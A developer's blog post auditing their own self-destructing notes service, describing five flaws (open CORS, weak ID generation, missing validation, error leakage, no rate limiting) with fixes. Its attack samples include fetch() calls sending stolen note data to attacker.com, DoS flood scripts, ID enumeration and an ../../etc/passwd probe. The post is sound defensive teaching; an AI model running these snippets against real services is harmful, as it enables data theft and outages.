How I discovered 5 critical security flaws in my own application and what I learned from the experience
Introduction
Recently, I decided to conduct a thorough security assessment of 8urn.me, my anonymous self-destructing notes service. As a developer, I know how easy it is to focus on features and functionality while security considerations slip through the cracks. What I discovered was eye-opening: 5 critical vulnerabilities and several medium-risk issues that could have been exploited by attackers.
In this post, I'll walk you through each vulnerability I found, demonstrate how they could be exploited, and show you exactly how I fixed them. This isn't just a theoretical exercise—these are real vulnerabilities that existed in production code.
The Setup: Understanding 8urn.me
Before diving into the vulnerabilities, let me give you some context. 8urn.me is a privacy-focused service that allows users to create encrypted notes that self-destruct after being read or after a set time period. The architecture includes:
- Client-side encryption using AES-256-GCM
- Zero-knowledge architecture (server never sees plaintext)
- Multiple deployment options (Express server, Netlify Functions)
The main server implementation (server.js) had decent security controls, but the Netlify Functions implementation (netlify/functions/notes-simple.js)—which appears to be what's running in production—was missing many of these protections.
Vulnerability #1: CORS Allows All Origins (CRITICAL)
The Problem
Cross-Origin Resource Sharing (CORS) is a security mechanism that controls which websites can make requests to your API. In my Netlify Function, I had this configuration:
// netlify/functions/notes-simple.js
const corsHeaders = {
'Access-Control-Allow-Origin': '*', // ⚠️ This is dangerous!
'Access-Control-Allow-Headers': 'Content-Type',
'Access-Control-Allow-Methods': 'GET, POST, DELETE, OPTIONS',
};
That '*' means any website can make requests to my API. This opens up several attack vectors.
How It Could Be Abused
Attack Scenario 1: Unauthorized Note Creation
Imagine a malicious website that automatically creates notes when users visit it:
<!-- evil.com/malicious-page.html -->
<!DOCTYPE html>
<html>
<head>
<title>Free Gift Card - Click Here!</title>
</head>
<body>
<h1>Congratulations! You've won a $100 gift card!</h1>
<p>Click below to claim your reward...</p>
<script>
// This runs automatically when the page loads
// No user interaction needed!
fetch('https://8urn.me/api/notes', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
encryptedContent: 'bXlzZWNyZXRkYXRh', // base64 encoded data
triggerType: 'read',
triggerValue: { reads: 1 }
})
})
.then(response => response.json())
.then(data => {
// Send the note ID to attacker's server
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
noteId: data.noteId,
url: data.url,
userAgent: navigator.userAgent
})
});
console.log('Note created without user knowledge:', data.noteId);
});
</script>
</body>
</html>
Impact: When someone visits this malicious page, a note is automatically created on 8urn.me without their knowledge, and the note ID is sent to the attacker. The attacker could then:
- Access the note if they can decrypt it
- Use it for phishing (send the link to the victim)
- Track which users visited the malicious site
Attack Scenario 2: Note Theft via CSRF
Since CORS allows all origins, an attacker can create a page that reads notes the victim has open:
// Attacker's website
async function stealNote(noteId) {
try {
// This request works because CORS allows all origins
const response = await fetch(`https://8urn.me/api/notes/${noteId}`);
const data = await response.json();
if (data.success) {
// Send stolen note data to attacker
fetch('https://attacker.com/stolen-notes', {
method: 'POST',
body: JSON.stringify({
noteId: noteId,
encryptedContent: data.encryptedContent,
readCount: data.readCount,
timestamp: Date.now()
})
});
// Optionally delete the note to hide evidence
fetch(`https://8urn.me/api/notes/${noteId}`, {
method: 'DELETE'
});
}
} catch (error) {
console.log('Note not accessible:', noteId);
}
}
// If user has a note URL in their clipboard or browser history
// Extract note ID from URL and steal it
const urlParams = new URLSearchParams(window.location.search);
const noteId = urlParams.get('id');
if (noteId) {
stealNote(noteId);
}
Impact: If a user has a note open in another tab or has the URL in their clipboard, a malicious site can steal it.
The Fix
I restricted CORS to only allow requests from legitimate origins:
// netlify/functions/notes-simple.js (FIXED)
function getCorsHeaders(event) {
const allowedOrigins = [
'https://8urn.me',
'https://www.8urn.me'
];
const origin = event.headers.origin || event.headers.Origin || '';
const corsOrigin = allowedOrigins.includes(origin) ? origin : 'null';
return {
'Access-Control-Allow-Origin': corsOrigin,
'Access-Control-Allow-Headers': 'Content-Type',
'Access-Control-Allow-Methods': 'GET, POST, DELETE, OPTIONS',
'Access-Control-Max-Age': '86400', // Cache preflight for 24 hours
};
}
exports.handler = async (event, context) => {
const corsHeaders = getCorsHeaders(event);
// Handle CORS preflight
if (event.httpMethod === 'OPTIONS') {
return {
statusCode: 200,
headers: corsHeaders,
body: '',
};
}
// ... rest of handler
};
Now, only requests from 8urn.me or www.8urn.me are allowed. Any other origin will receive 'null' as the CORS origin, effectively blocking the request.
Vulnerability #2: Weak ID Generation (CRITICAL)
The Problem
I was using Math.random() to generate note IDs, which is cryptographically insecure and predictable:
// netlify/functions/notes-simple.js (VULNERABLE)
function generateId(length = 12) {
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
let result = '';
for (let i = 0; i < length; i++) {
// Math.random() is NOT cryptographically secure!
result += chars.charAt(Math.floor(Math.random() * chars.length));
}
return result;
}
How It Could Be Abused
Attack Scenario: ID Enumeration and Prediction
Math.random() uses a predictable algorithm based on a seed. If an attacker knows approximately when a note was created, they can predict or enumerate possible IDs:
// Attacker's enumeration script
function predictId(timestamp, length = 12) {
// Math.random() seed is often based on time
// This is a simplified example - real prediction is more complex
const seed = timestamp;
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
let result = '';
// Simulate Math.random() behavior
let rng = seed;
for (let i = 0; i < length; i++) {
rng = (rng * 1103515245 + 12345) & 0x7fffffff;
const index = rng % chars.length;
result += chars[index];
}
return result;
}
// Try to predict IDs created in the last hour
const now = Date.now();
const foundNotes = [];
for (let i = 0; i < 3600; i++) { // Last hour in seconds
const predictedId = predictId(now - (i * 1000));
// Check if note exists
fetch(`https://8urn.me/api/notes/${predictedId}`)
.then(response => {
if (response.status === 200) {
foundNotes.push(predictedId);
console.log('Found note:', predictedId);
// Now steal it
stealNote(predictedId);
}
});
}
Even worse, if IDs are generated sequentially or with patterns, an attacker could brute-force common patterns:
// Brute force common ID patterns
const commonPatterns = [
'aaaaaaaaaaaa', // All same character
'abcdefghijkl', // Sequential
'000000000000', // All zeros
'ZZZZZZZZZZZZ', // All Z
];
for (const pattern of commonPatterns) {
fetch(`https://8urn.me/api/notes/${pattern}`)
.then(response => {
if (response.status === 200) {
console.log('Found note with weak ID:', pattern);
}
});
}
Impact: An attacker could discover and access notes they shouldn't have access to, completely breaking the privacy model of the service.
The Fix
I replaced Math.random() with the Web Crypto API's crypto.getRandomValues(), which is cryptographically secure:
// netlify/functions/notes-simple.js (FIXED)
function generateId(length = 12) {
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
const array = new Uint8Array(length);
// Use cryptographically secure random number generation
crypto.getRandomValues(array);
let result = '';
for (let i = 0; i < length; i++) {
result += chars[array[i] % chars.length];
}
return result;
}
For Node.js environments (like Netlify Functions), I use the crypto module:
// netlify/functions/notes-simple.js (FIXED - Node.js version)
const crypto = require('crypto');
function generateId(length = 12) {
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
// Generate cryptographically secure random bytes
const randomBytes = crypto.randomBytes(length);
let result = '';
for (let i = 0; i < length; i++) {
result += chars[randomBytes[i] % chars.length];
}
return result;
}
Now, note IDs are truly unpredictable and cannot be enumerated or guessed.
Vulnerability #3: Missing Input Validation (CRITICAL)
The Problem
The Netlify Function had minimal input validation—it only checked if fields existed, not if they were valid:
// netlify/functions/notes-simple.js (VULNERABLE)
const { encryptedContent, triggerType, triggerValue, passphraseHash } = body;
// Basic validation - only checks existence!
if (!encryptedContent || !triggerType) {
return {
statusCode: 400,
headers: corsHeaders,
body: JSON.stringify({ error: 'Missing required fields' })
};
}
// ⚠️ No validation of:
// - triggerValue ranges
// - encryptedContent size
// - triggerType validity
// - data types
How It Could Be Abused
Attack Scenario 1: DoS via Oversized Content
An attacker could send extremely large payloads to exhaust server memory:
// Attacker's DoS script
const hugeContent = 'A'.repeat(10000000); // 10MB of data (way over 50KB limit)
async function exhaustServer() {
const promises = [];
// Send 100 requests with huge payloads
for (let i = 0; i < 100; i++) {
promises.push(
fetch('https://8urn.me/api/notes', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
encryptedContent: hugeContent,
triggerType: 'read',
triggerValue: { reads: 1 }
})
})
);
}
await Promise.all(promises);
console.log('Server memory potentially exhausted');
}
exhaustServer();
Impact: Server runs out of memory, service becomes unavailable.
Attack Scenario 2: Invalid Data Causing Errors
Without proper validation, attackers can send malformed data:
// Various attack payloads
const attacks = [
// Negative values (should be rejected)
{
encryptedContent: 'test',
triggerType: 'read',
triggerValue: { reads: -1 }
},
// Extremely large values
{
encryptedContent: 'test',
triggerType: 'read',
triggerValue: { reads: 999999999 }
},
// Wrong data types
{
encryptedContent: 'test',
triggerType: 'read',
triggerValue: { reads: 'not a number' }
},
// Missing required fields in nested objects
{
encryptedContent: 'test',
triggerType: 'both',
triggerValue: { reads: 1 } // Missing 'time' field
},
// Invalid trigger type
{
encryptedContent: 'test',
triggerType: 'malicious_injection',
triggerValue: { reads: 1 }
}
];
// Send all attacks
attacks.forEach((attack, index) => {
setTimeout(() => {
fetch('https://8urn.me/api/notes', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(attack)
})
.then(response => {
console.log(`Attack ${index} response:`, response.status);
// If any succeed, it's a vulnerability
});
}, index * 100);
});
Impact:
- Service crashes or behaves unexpectedly
- Invalid data stored in system
- Potential security bypasses
The Fix
I imported and used the comprehensive validation module I had already created for the main server:
// netlify/functions/notes-simple.js (FIXED)
// Import validation utilities
const { validateNoteCreation, validateNoteId } = require('../../utils/validation');
exports.handler = async (event, context) => {
// ... CORS handling ...
// Route: POST /api/notes
if (httpMethod === 'POST' && pathParts[1] === 'notes') {
let body;
try {
body = JSON.parse(event.body || '{}');
} catch (error) {
return {
statusCode: 400,
headers: corsHeaders,
body: JSON.stringify({ error: 'Invalid JSON' })
};
}
const { encryptedContent, triggerType, triggerValue, passphraseHash } = body;
// ✅ Comprehensive input validation
const validation = validateNoteCreation({
encryptedContent,
triggerType,
triggerValue,
passphraseHash
});
if (!validation.valid) {
return {
statusCode: 400,
headers: corsHeaders,
body: JSON.stringify({ error: validation.error })
};
}
// ... rest of handler ...
}
};
The validation module checks:
- Trigger type is valid (
read,time, orboth) - Trigger values are within bounds (reads: 1-100, time: 60-604800 seconds)
- Encrypted content size is within limits (max 50,000 chars)
- Data types are correct
- All required fields are present
Vulnerability #4: Error Message Information Disclosure (CRITICAL)
The Problem
The Netlify Function was exposing internal error messages in production:
// netlify/functions/notes-simple.js (VULNERABLE)
} catch (error) {
console.error('Function error:', error);
return {
statusCode: 500,
headers: corsHeaders,
body: JSON.stringify({
error: 'Internal server error',
message: error.message // ⚠️ Exposes internal details!
})
};
}
How It Could Be Abused
Attack Scenario: Information Gathering
An attacker could intentionally trigger errors to learn about the system:
// Attacker's information gathering script
async function gatherSystemInfo() {
const attacks = [
// Cause JSON parse error
() => fetch('https://8urn.me/api/notes', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: 'invalid json{{{'
}),
// Cause validation error
() => fetch('https://8urn.me/api/notes', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({}) // Missing required fields
}),
// Cause type error
() => fetch('https://8urn.me/api/notes', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
encryptedContent: null,
triggerType: null,
triggerValue: null
})
}),
// Path traversal attempt
() => fetch('https://8urn.me/api/notes/../../etc/passwd', {
method: 'GET'
})
];
const gatheredInfo = [];
for (const attack of attacks) {
try {
const response = await attack();
const data = await response.json();
// Error messages might reveal:
gatheredInfo.push({
attack: attack.toString(),
error: data.message || data.error,
// Could reveal:
// - Database type (Redis, MongoDB, etc.)
// - File paths
// - Stack traces
// - Internal function names
// - System architecture
});
} catch (error) {
gatheredInfo.push({
attack: attack.toString(),
exception: error.message
});
}
}
// Send gathered information to attacker
fetch('https://attacker.com/info', {
method: 'POST',
body: JSON.stringify(gatheredInfo)
});
return gatheredInfo;
}
gatherSystemInfo();
Example of what might be leaked:
// Bad (reveals too much)
{
"error": "Internal server error",
"message": "Redis connection failed: ECONNREFUSED 127.0.0.1:6379"
}
// Reveals: Using Redis, local connection, port 6379
// Bad (reveals file paths)
{
"error": "Internal server error",
"message": "ENOENT: no such file or directory, open '/app/data/notes.json'"
}
// Reveals: File system structure, deployment path
// Bad (reveals stack trace)
{
"error": "Internal server error",
"message": "TypeError: Cannot read property 'reads' of undefined\n at calculateTTL (/var/task/utils/note-utils.js:45:12)"
}
// Reveals: Function names, file structure, line numbers
Impact:
- Attacker learns system architecture
- Easier to exploit other vulnerabilities
- System fingerprinting
- Makes targeted attacks possible
The Fix
I removed error message exposure in production:
// netlify/functions/notes-simple.js (FIXED)
} catch (error) {
console.error('Function error:', error);
// Don't expose error details in production
const isProduction = process.env.NODE_ENV === 'production';
return {
statusCode: 500,
headers: corsHeaders,
body: JSON.stringify({
error: 'Internal server error'
// ✅ No error.message in production
// Only log internally for debugging
})
};
}
Now, all errors return a generic message, and detailed error information is only logged server-side for debugging purposes.
Vulnerability #5: No Rate Limiting (CRITICAL)
The Problem
The Netlify Function had no rate limiting whatsoever, allowing unlimited requests:
// netlify/functions/notes-simple.js (VULNERABLE)
exports.handler = async (event, context) => {
// ⚠️ No rate limiting checks anywhere!
// Anyone can make unlimited requests
// ...
};
How It Could Be Abused
Attack Scenario 1: Resource Exhaustion DoS
An attacker could create notes as fast as possible:
// Attacker's DoS script
async function createNote() {
try {
const response = await fetch('https://8urn.me/api/notes', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
encryptedContent: 'bXlzZWNyZXRkYXRh',
triggerType: 'read',
triggerValue: { reads: 1 }
})
});
return await response.json();
} catch (error) {
return null;
}
}
// Create 1000 notes simultaneously
console.log('Starting DoS attack...');
const startTime = Date.now();
const promises = [];
for (let i = 0; i < 1000; i++) {
promises.push(createNote());
}
Promise.all(promises).then(results => {
const successCount = results.filter(r => r !== null).length;
const duration = Date.now() - startTime;
console.log(`Created ${successCount} notes in ${duration}ms`);
console.log('Server resources potentially exhausted');
// Repeat attack
setTimeout(() => exhaustServer(), 1000);
});
Impact:
- Server memory exhausted
- Service becomes unavailable
- Legitimate users can't access the service
- Potential cost implications (if using paid serverless services)
Attack Scenario 2: Distributed Attack
Since CORS allows all origins (before the fix), an attacker could deploy the attack script on multiple websites:
// Deploy this on 10 different malicious websites
// Each site makes requests simultaneously
function attackFromSite(siteName) {
console.log(`Attacking from ${siteName}`);
setInterval(() => {
fetch('https://8urn.me/api/notes', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
encryptedContent: 'bXlzZWNyZXRkYXRh',
triggerType: 'read',
triggerValue: { reads: 1 }
})
});
}, 100); // 10 requests per second per site
}
// Deploy on 10 sites = 100 requests/second total
// No rate limiting = service overwhelmed
attackFromSite('evil-site-1.com');
Impact: Even more effective DoS, harder to block.
The Fix
I implemented rate limiting using a simple in-memory store (for Netlify Functions, you'd want to use a service like Upstash Redis for distributed rate limiting):
// netlify/functions/notes-simple.js (FIXED)
// Simple in-memory rate limiting
// For production, use Upstash Redis or similar
const rateLimitStore = new Map();
function checkRateLimit(ip, limit, windowMs) {
const now = Date.now();
const key = `${ip}:${limit}:${windowMs}`;
const record = rateLimitStore.get(key);
if (!record || now - record.resetTime > windowMs) {
// New window
rateLimitStore.set(key, {
count: 1,
resetTime: now + windowMs
});
return { allowed: true, remaining: limit - 1 };
}
if (record.count >= limit) {
return {
allowed: false,
remaining: 0,
resetTime: record.resetTime
};
}
record.count++;
return {
allowed: true,
remaining: limit - record.count
};
}
exports.handler = async (event, context) => {
// Get client IP
const ip = event.headers['x-forwarded-for']?.split(',')[0] ||
event.requestContext?.identity?.sourceIp ||
'unknown';
// Rate limiting for note creation
if (event.httpMethod === 'POST' && pathParts[1] === 'notes') {
const rateLimit = checkRateLimit(ip, 10, 60000); // 10 per minute
if (!rateLimit.allowed) {
return {
statusCode: 429,
headers: {
...corsHeaders,
'X-RateLimit-Limit': '10',
'X-RateLimit-Remaining': '0',
'X-RateLimit-Reset': new Date(rateLimit.resetTime).toISOString(),
'Retry-After': Math.ceil((rateLimit.resetTime - Date.now()) / 1000)
},
body: JSON.stringify({
error: 'Too many note creations. Please slow down.'
})
};
}
}
// Rate limiting for note retrieval
if (event.httpMethod === 'GET' && pathParts[1] === 'notes') {
const rateLimit = checkRateLimit(ip, 100, 60000); // 100 per minute
if (!rateLimit.allowed) {
return {
statusCode: 429,
headers: {
...corsHeaders,
'X-RateLimit-Limit': '100',
'X-RateLimit-Remaining': '0',
'Retry-After': Math.ceil((rateLimit.resetTime - Date.now()) / 1000)
},
body: JSON.stringify({
error: 'Too many requests. Please slow down.'
})
};
}
}
// ... rest of handler ...
};
For a production Netlify deployment, I'd recommend using Upstash Redis for distributed rate limiting:
// Production-ready rate limiting with Upstash Redis
const { Redis } = require('@upstash/redis');
const redis = new Redis({
url: process.env.UPSTASH_REDIS_REST_URL,
token: process.env.UPSTASH_REDIS_REST_TOKEN,
});
async function checkRateLimit(ip, limit, windowMs) {
const key = `ratelimit:${ip}`;
const now = Date.now();
const pipeline = redis.pipeline();
pipeline.incr(key);
pipeline.expire(key, Math.ceil(windowMs / 1000));
const results = await pipeline.exec();
const count = results[0];
if (count > limit) {
return { allowed: false, remaining: 0 };
}
return { allowed: true, remaining: limit - count };
}
Additional Fixes: Medium-Risk Vulnerabilities
CSP Unsafe-Inline
The Content Security Policy allowed 'unsafe-inline' for styles, which reduces XSS protection. While the current implementation uses textContent (which is safe), removing unsafe-inline provides defense in depth:
// server.js (IMPROVED)
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
styleSrc: ["'self'"], // ✅ Removed 'unsafe-inline'
scriptSrc: ["'self'"], // ✅ Removed 'unsafe-inline'
// ... other directives
},
},
}));
Combined Trigger Logic
I also fixed the combined trigger logic in the Netlify Function to properly handle both time and read-based triggers:
// netlify/functions/notes-simple.js (FIXED)
// Import shared utilities
const { shouldDeleteNote, processNoteRead } = require('../../utils/note-utils');
// In GET handler:
const noteData = notes.get(noteId);
if (!noteData) {
return { statusCode: 404, /* ... */ };
}
// ✅ Use shared utility for deletion logic
if (shouldDeleteNote(noteData)) {
notes.delete(noteId);
return { statusCode: 404, /* ... */ };
}
// ✅ Process read and check for deletion
const { shouldDelete } = processNoteRead(noteData);
if (shouldDelete) {
notes.delete(noteId);
}
Lessons Learned
This security assessment taught me several important lessons:
- Don't assume security - Just because the main server has security controls doesn't mean all deployment targets do
- Test all code paths - The Netlify Function was a separate code path that needed its own security review
- Security is a process - Regular security assessments are essential, even for your own code
- Defense in depth - Multiple layers of security (validation, rate limiting, CORS, etc.) are crucial
- Error handling matters - Generic error messages prevent information leakage
Conclusion
Finding these vulnerabilities in my own code was humbling but educational. The good news is that all critical issues have been fixed, and the service is now significantly more secure. The fixes I implemented include:
✅ CORS restrictions - Only allow legitimate origins
✅ Secure ID generation - Using cryptographically secure random numbers
✅ Comprehensive validation - All inputs are properly validated
✅ Error message sanitization - No internal details exposed
✅ Rate limiting - Protection against abuse and DoS
Security is an ongoing process, not a one-time task. Regular assessments, staying updated on security best practices, and learning from vulnerabilities (even your own) are essential for maintaining a secure service.
If you're building a similar service, I hope this post helps you avoid these pitfalls. And if you find vulnerabilities in your own code, don't be discouraged—use it as a learning opportunity to build more secure systems.
Stay secure, and happy coding! 🔒
Have questions or found this helpful? Feel free to reach out or discuss in the comments!